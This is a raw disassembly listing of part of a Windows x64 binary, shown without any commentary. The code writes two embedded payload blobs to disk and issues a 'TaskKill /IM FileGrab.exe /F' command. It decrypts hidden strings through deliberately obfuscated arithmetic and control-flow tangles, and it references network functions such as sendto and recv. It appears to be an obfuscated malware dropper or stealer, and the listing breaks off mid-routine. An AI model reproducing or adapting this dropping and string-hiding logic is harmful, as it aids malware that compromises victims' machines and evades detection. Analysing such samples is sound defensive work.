add bl, 0x5b
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r8d, [rbx + r11]
sub r8b, 0x7d
jmp 0x140214070
sub bl, 0x63
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r8d, [rbx + r11]
sub r8b, 0x4b
jmp 0x140214060
lea rdx, [rbp + 0x14d9c84]
jmp 0x140214791
lea rdx, [rbp + 0x8521e3]
jmp 0x140214791
lea rdx, [rbp + 0xb0]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x280]
call fcn.140066630
nop
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x280]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x1402147f7
mov r8d, 0x5a00
lea rdx, [0x1402bf1e0]
lea rcx, [rbp + 0x280]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x280]
call fcn.140066590
lea rdx, str.TaskKill__IM_FileGrab.exe__F
lea rcx, [rbp + 0x110]
call fcn.1400495d0
mov rcx, rax
call fcn.1402180e0
mov dword [rbp - 0x10], 0xd4debba3
mov dword [rbp - 0xc], 0xc8c2cbcd
mov dword [rbp - 8], 0xd8d6faff
mov dword [rbp - 4], 0xcafafef5
mov dword [rbp], 0xef8082fd
mov dword [rbp + 4], 0xc1ffc7f0
mov dword [rbp + 8], 0xe7c9cbfd
mov dword [rbp + 0xc], 0xcfcefcf1
mov dword [rbp + 0x10], 0xe6acd3e5
mov word [rbp + 0x14], 0xe0dc
mov byte [rbp + 0x16], 0x46
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x17], xmm0
mov dword [rbp + 0x27], eax
mov word [rbp + 0x2b], ax
mov byte [rbp + 0x2d], al
movabs r14, 0xc37f2cc05614e90
movabs r15, 0x6df7892c306bc310
movabs r12, 0x24a7d8641023ebb0
movzx r11d, byte [rbp + 0x3c0]
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [0x1404e35d0]
mov r9, qword [0x1404e35c8]
nop
xor ebx, ebx
cmp rbx, 0x3e
jae 0x1402153bd
movzx r10d, byte [rbp + rbx - 0x10]
mov rdi, r10
cmp r8, rbx
ja 0x1402153b4
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1402148f1
lea rcx, [rbx + r14]
mov rax, r10
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, r10
add r11, rcx
add r11b, 0x10
jmp 0x140214930
je 0x14021533f
lea rax, [r9 + 3]
cmp r8, rax
je 0x14021530f
lea rax, [r9 + 5]
cmp r8, rax
je 0x1402152d2
lea rax, [r9 + 4]
cmp r8, rax
je 0x1402152b2
lea rax, [r9 + 6]
cmp r8, rax
je 0x140215269
nop dword [rax + rax]
cmp r9, rbx
ja 0x1402153ab
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x140214961
lea edx, [rbx - 0x30]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1402149a2
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14021525c
lea rax, [r9 + 3]
cmp r8, rax
je 0x14021523c
lea rax, [rcx + 1]
cmp r8, rax
je 0x1402152d2
lea rax, [r9 + 2]
cmp r8, rax
je 0x14021521f
lea rax, [r9 + 8]
cmp r8, rax
je 0x1402151f2
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140214edf
nop
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140214ec2
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140214ea2
lea rax, [r9 + 8]
cmp r8, rax
je 0x140214e7d
lea rax, [r9 + 1]
cmp r8, rax
je 0x140214e5b
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140214e39
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140214e1c
lea rax, [r9 + 9]
cmp r8, rax
je 0x140214e0a
lea rax, [r9 + 2]
cmp r8, rax
je 0x140214df0
lea rcx, [r9 + 0x61]
cmp r8, rcx
je 0x140214dc8
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1402149b0
mov r8, rcx
lea r9, [rcx + 0x3e8]
lea rax, [r9 + 0x64]
cmp rcx, rax
jb 0x14021538c
lea rax, [r9 + 0xa]
cmp rcx, rax
jb 0x14021536d
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x140214b9b
lea rax, [r9 + 0x7a]
cmp rcx, rax
jb 0x140214b81
lea rax, [r9 + 0x80]
cmp rcx, rax
jb 0x140214b67
lea rax, [r9 + 0x10]
cmp rcx, rax
jb 0x140214d7f
lea rax, [r9 + 4]
cmp rcx, rax
jb 0x140214d43
lea rax, [r9 + 0x41]
cmp rcx, rax
jb 0x140214d03
lea rcx, [r9 + 0x200]
cmp r8, rcx
jb 0x140214cdc
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1402149b0
mov r8, rcx
lea r9, [rcx + 0x42]
lea rax, [r9 + 0x20]
cmp rcx, rax
ja 0x140214cb1
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x140214c97
lea rax, [r9 + 0x5a]
cmp rcx, rax
ja 0x140214c7d
lea rax, [r9 + 0x3e8]
cmp rcx, rax
ja 0x140214c63
lea rax, [r9 + 0x28]
cmp rcx, rax
ja 0x140214c49
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x140214c27
lea rax, [r9 + 0x2a]
cmp rcx, rax
ja 0x140214c02
lea rax, [r9 + 0x400]
cmp rcx, rax
ja 0x140214bda
lea rcx, [r9 + 0x40]
cmp r8, rcx
ja 0x140214bba
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1402149b0
mov r8, rcx
lea r9, [rcx + 0x10]
jmp 0x1402149b0
lea ecx, [rbx + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x50
jmp 0x1402149a2
lea ecx, [rbx + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x70
jmp 0x140214930
lea edx, [rbx - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1402148c2
lea ecx, [rbx + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x80
movzx edi, bl
jmp 0x140215286
lea edx, [rbx + 0x60]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r9
dec rbx
inc rbx
jmp 0x1402148b2
lea edx, [rbx + 0x40]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x1402148b2
lea edx, [rbx + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx edi, bl
jmp 0x1402152ea
movzx ecx, bl
and cl, r10b
add cl, cl
movzx r11d, bl
sub r11b, cl
add r11b, r10b
add r8, r9
jmp 0x140215326
lea ecx, [rbx - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x20
jmp 0x140215326
lea ecx, [rbx - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x40
jmp 0x14021518f
lea ecx, [rbx - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x60
jmp 0x1402151b5
lea ecx, [rbx + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x80
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1402148b2
lea edx, [rbx - 0x50]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
mov byte [rbp + rbx - 0x10], r11b
inc rbx
jmp 0x1402148b2
lea edx, [rbx - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
cmp r9, 0xa
jb 0x140214cf6
movzx edi, bl
lea ecx, [rdi + 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea r11d, [rcx*2 - 0x40]
jmp 0x140215286
lea ecx, [rbx + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x10
cmp r8, 0x40
jae 0x14021514d
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x1402150a1
lea edx, [rbx + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140214d11
lea ecx, [rbx + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x30
lea rax, [r9 + r8]
cmp rax, 0x200
je 0x140215176
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x140214fd6
lea ecx, [rbx + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x30
jmp 0x140214d58
lea ecx, [rbx - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x20
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1402148b2
lea ecx, [rbx - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x40
jmp 0x1402151b5
lea ecx, [rbx - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
jmp 0x140215187
lea ecx, [rbx + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x80
jmp 0x140215326
lea edx, [rbx + 0x60]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r8, r9
jmp 0x140215326
movzx edi, bl
lea edx, [rdi + 0x40]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1402152ea
lea edx, [rbx + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x1402148b2
movzx ecx, bl
and cl, r10b
add cl, cl
movzx r11d, bl
sub r11b, cl
add r11b, r10b
inc r9
dec rbx
inc rbx
jmp 0x1402148b2
movzx edi, bl
lea ecx, [rdi - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x20
jmp 0x140215286
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x140214f07
lea edx, [rbx - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140214d94
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140214f38
lea ecx, [rbx - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x60
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1402148b2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140214f5b
lea ecx, [rbx - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x20
jmp 0x14021518f
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140214f78
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
jmp 0x140215326
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140214fa3
lea edx, [rbx + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r8, r9
jmp 0x140215326
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140214d94
lea ecx, [rbx + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x80
inc r9
dec rbx
inc rbx
jmp 0x1402148b2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140214ffc
movzx edi, bl
lea ecx, [rdi + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x10
jmp 0x140215286
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14021502a
lea edx, [rbx - 0x50]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x1402148b2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140215049
lea ecx, [rbx + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
jmp 0x140215322
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14021506c
lea ecx, [rbx + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x50
jmp 0x14021518f
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140214d58
lea ecx, [rbx + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x10
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1402148b2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1402150d7
lea edx, [rbx + 0x40]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1402148b2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1402150fd
lea ecx, [rbx + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x80
jmp 0x14021518f
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140215123
movzx edi, bl
lea ecx, [rdi - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x20
jmp 0x1402152ea
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140214d1d
movzx ecx, bl
and cl, r10b
add cl, cl
movzx r11d, bl
sub r11b, cl
add r11b, r10b
dec rbx
inc rbx
jmp 0x1402148b2
movzx edi, bl
lea edx, [rdi + 0x80]
movzx eax, dl
and al, r10b
add al, al
movzx r11d, byte [rbp + rbx - 0x10]
sub r11b, al
add r11b, 0x80
add r11b, dl
add r11b, r10b
jmp 0x1402152ea
lea ecx, [rbx - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + rbx - 0x10]
lea r11d, [r10 + rcx]
sub r11b, 0x60
lea edx, [rbx + 0x30]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x50
add cl, dl
movzx eax, cl
mov byte [rbp + rbx - 0x10], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx - 0x40]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x40
add r10b, cl
mov byte [rbp + rbx - 0x10], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1402148b2
lea edx, [rbx - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1402148b2
lea ecx, [rbx + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x10
add r8, r9
jmp 0x140215326
lea ecx, [rbx + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x50
dec rbx
inc rbx
jmp 0x1402148b2
movzx edi, bl
lea edx, [rdi - 0x10]
mov ecx, gethostname
jmp 0x140215274
movzx edi, bl
lea edx, [rdi - 0x50]
mov ecx, Ordinal_26
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
sub dil, 0x10
movzx eax, r10b
and al, dil
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r10b
add cl, dil
mov byte [rbp + rbx - 0x10], cl
inc r9
dec rbx
inc rbx
jmp 0x1402148b2
lea ecx, [rbx + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x10
dec rbx
inc rbx
jmp 0x1402148b2
movzx edi, bl
lea ecx, [rdi + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x30
add dil, 0x10
movzx eax, r10b
and al, dil
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x70
add cl, r10b
add cl, dil
mov byte [rbp + rbx - 0x10], cl
add r8, r9
jmp 0x140215326
lea rcx, [rbx + r15]
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r11d, [rcx + rdi]
sub r11b, 0x70
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1402148b2
lea rdx, [rbx + r12]
movzx eax, dil
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1402148b2
sub bl, 0x30
movzx eax, bl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
jmp 0x1402148b0
sub bl, 0x50
movzx eax, bl
and al, r10b
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
jmp 0x1402148a0
lea rdx, [rbp + 0x160c8b0]
jmp 0x1402153c1
lea rdx, [rbp + 0xc21740]
jmp 0x1402153c1
lea rdx, [rbp - 0x10]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x170]
call fcn.140066630
nop
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x170]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x140215427
mov r8d, 0x23800
lea rdx, [0x14029b9e0]
lea rcx, [rbp + 0x170]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x170]
call fcn.140066590
mov dword [rbp - 0x70], 0x7c456c60
mov dword [rbp - 0x6c], 0x7372701f
mov dword [rbp - 0x68], 0x161b3624
mov dword [rbp - 0x64], 0x6b671b20
mov dword [rbp - 0x60], 0x7a540661
mov dword [rbp - 0x5c], 0x5f6b2b66
mov dword [rbp - 0x58], 0x9213569
mov byte [rbp - 0x54], Ordinal_211
xor eax, eax
mov qword [rbp - 0x53], rax
mov word [rbp - 0x4b], ax
mov byte [rbp - 0x49], al
movabs rsi, 0x2b1731fb536fc922
movabs r15, 0x2da25ddf480e7fee
movabs r14, 0x814595f1fa4f5b66
movzx edx, byte [rbp + 0x3c0]
nop
mov r8, qword [0x1404e35d0]
mov r9, qword [0x1404e35c8]
nop
xor ebx, ebx
cmp rbx, 0x28
jae 0x140215f27
movzx r10d, byte [rbp + rbx - 0x70]
mov r11, r10
cmp r8, rbx
ja 0x140215f1e
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1402154e0
lea rcx, [rbx + rsi]
mov rax, rcx
and rax, r10
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, r10
add dl, 0x12
jmp 0x140215527
je 0x140215eb0
lea rax, [r9 + 3]
cmp r8, rax
je 0x140215e38
lea rax, [rcx + 1]
cmp r8, rax
je 0x140215e09
lea rax, [r9 + 5]
cmp r8, rax
je 0x140215dce
lea rax, [r9 + 7]
cmp r8, rax
je 0x140215dac
lea rax, [r9 + 2]
cmp r8, rax
je 0x140215d64
cmp r9, rbx
ja 0x140215f15
lea rax, [r9 + 3]
cmp r8, rax
jae 0x140215552
lea edx, [rbx - 0x36]
movzx eax, dl
and al, r10b
mov ecx, 0x3d
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140215580
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x140215d49
cmp r8, rax
je 0x140215d2a
lea rax, [rcx + 1]
cmp r8, rax
je 0x140215d13
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140215a8c
nop dword [rax]
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140215a6e
lea rax, [r9 + 9]
cmp r8, rax
je 0x140215a4c
lea rax, [r9 + 8]
cmp r8, rax
je 0x140215a3f
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140215a1e
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140215a02
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1402159e6
lea rax, [r9 + 1]
cmp r8, rax
je 0x1402159cd
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1402159b4
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14021598d
lea rax, [r9 + 5]
cmp r8, rax
je 0x140215590
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140215ef8
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140215edb
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140215776
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14021575d
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140215744
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14021594b
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140215904
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1402158c4
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1402158a1
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140215590
lea r8, [r9 + 6]
lea r9, [r8 + 1]
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14021587a
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140215861
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140215848
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14021582c
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140215810
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1402157f0
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1402157d1
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1402157af
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140215792
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140215590
lea r8, [r9 + 3]
lea r9, [r8 + 0x41]
jmp 0x140215590
lea ecx, [rbx + 0x76]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x3a
jmp 0x140215580
lea ecx, [rbx + 0x32]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x5e
jmp 0x140215527
lea edx, [rbx - 0x12]
movzx eax, dl
and al, r10b
mov ecx, 0x3f
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1402154b2
lea ecx, [rbx + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x30
movzx r11d, bl
jmp 0x140215d80
lea ecx, [rbx + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x54
inc r9
dec rbx
inc rbx
jmp 0x1402154a2
lea ecx, [rbx - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x78
dec rbx
inc rbx
jmp 0x1402154a2
lea edx, [rbx - 0x7c]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
movzx r11d, bl
jmp 0x140215de7
lea edx, [rbx + 0x40]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140215e1d
lea edx, [rbx - 4]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140215e20
lea ecx, [rbx - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 8
jmp 0x140215e53
lea ecx, [rbx + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x2c
jmp 0x140215e76
lea ecx, [rbx + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x50
movzx eax, byte [rbp + rbx - 0x70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1402154a2
lea edx, [rbx - 0x7a]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
mov byte [rbp + rbx - 0x70], dl
inc rbx
jmp 0x1402154a2
lea edx, [rbx + 0x42]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
cmp r9, 0x5a
jb 0x1402158b8
movzx r11d, bl
lea ecx, [r11 - 0x74]
movzx eax, cl
and al, r10b
mov edx, reloc.WLDAP32.dll_Ordinal_22
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
add dl, dl
jmp 0x140215d80
lea edx, [rbx - 2]
movzx eax, dl
and al, r10b
mov ecx, 7
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
cmp r8, 0x3e8
jae 0x140215cd9
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x140215c1d
lea ecx, [rbx - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x3c
jmp 0x1402158db
lea ecx, [rbx - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x16
lea rax, [r9 + r8]
cmp rax, 0x28
je 0x140215cfa
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x140215b6d
lea edx, [rbx + 0x1a]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
jmp 0x140215912
lea ecx, [rbx - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x24
movzx eax, byte [rbp + rbx - 0x70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1402154a2
lea ecx, [rbx + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x48
jmp 0x140215e76
lea ecx, [rbx + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x6c
jmp 0x140215e53
lea edx, [rbx - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140215e20
lea edx, [rbx - 0x54]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140215e1d
movzx r11d, bl
lea edx, [r11 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140215de7
lea edx, [rbx + 0x24]
mov ecx, 2
jmp 0x140215db4
lea ecx, [rbx - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x20
inc r9
dec rbx
inc rbx
jmp 0x1402154a2
movzx r11d, bl
lea ecx, [r11 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x44
jmp 0x140215d80
lea rcx, [r9 + 5]
cmp r8, rcx
jae 0x140215ab1
lea edx, [rbx + 0x22]
movzx eax, dl
and al, r10b
mov ecx, 9
sub cl, al
add cl, cl
add dl, cl
